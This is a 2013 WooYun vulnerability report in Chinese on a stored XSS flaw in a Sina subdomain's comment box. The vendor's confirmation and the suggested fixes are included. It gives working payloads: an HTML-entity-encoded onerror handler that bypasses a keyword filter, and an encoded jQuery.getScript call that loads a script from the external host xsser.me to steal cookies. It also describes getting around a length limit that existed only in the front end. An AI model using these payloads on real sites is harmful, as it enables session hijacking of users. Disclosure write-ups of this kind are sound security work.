当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-022315

漏洞标题:新浪某分站储存xss(一)

相关厂商:新浪

漏洞作者: px1624

提交时间:2013-04-24 11:21

修复时间:2013-06-08 11:22

公开时间:2013-06-08 11:22

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-24: 细节已通知厂商并且等待厂商处理中
2013-04-24: 厂商已经确认,细节仅向厂商公开
2013-05-04: 细节向核心白帽子及相关领域专家公开
2013-05-14: 细节向普通白帽子公开
2013-05-24: 细节向实习白帽子公开
2013-06-08: 细节向公众公开

简要描述:

其实开始是在人人网找的,点着点着就点到新浪了,然后就发现了这个漏洞额。位置过滤了所有的js代码,比如你输入的内容含有个alert(1),那么所有内容就被过滤成了空字符。。。第一次遇到这种奇怪的过滤逻辑,不过我还是给绕过了,嘎嘎~

详细说明:

测试地址 :

http://lining.sina.com.cn/irun/spot/runmap_detail.php?runid=221


1 位置在上面的地址的,评论框。
2 虽然没有过滤><" 但是过滤了 \ 和所有的直接输出的js代码。 比如输入alert(1) 就会过滤掉,而且测试是只要你输入的内容中含有js代码,那么就悲剧了。输入个var 也会悲剧掉、、
我上面说的那个情况是直接在评论框输入js代码,不含其他html标签。当然你含有了html标签,也是一样的结果。
3 试了试没有过滤&#,然后将含有js代码的位置转换了一下。
比如我要插入

<img src=1 onerror=alert(1)>


这里就转换为

<img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>


4 转换后插个alert(1)进去试试,果然弹窗了。

1.png


5 然后按照4的方法,试着去插一下外部调用js文件的代码。由于网站有用到jq(F12搜索jq,可以搜到调用jq的代码),所以我直接用

<img src=1 onerror="jQuery.getScript('//xsser.me/4310VB')">


转换后就是

&#106;&#81;&#117;&#101;&#114;&#121;&#46;&#103;&#101;&#116;&#83;&#99;&#114;&#105;&#112;&#116;&#40;&#39;&#47;&#47;&#120;&#115;&#115;&#101;&#114;&#46;&#109;&#101;&#47;&#52;&#51;&#49;&#48;&#86;&#66;&#39;&#41;


6 提交,竟然提交失败,限制了长度为140字符。
7 gainover之前有讲过,前端限制压根就不算限制。所以我用charles去发包提交了下,果然只是前端限制。。。成功提交了xss代码。然后F12去网页看一下,成功插入。

2.png


8 光插入代码,不足以服人额,下面是抓到的cookie的图、

3.png

漏洞证明:

如上。
测试可以影响sina.com.cn下的所有产品、

修复方案:

1 过滤下><"&#等特殊字符。
2 能告诉我你们那里过滤js代码的用以是什么吗?

版权声明:转载请注明来源 px1624@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2013-04-24 11:27

厂商回复:

感谢 帽帽 px1624,已安排人员进行处理。

最新状态:

暂无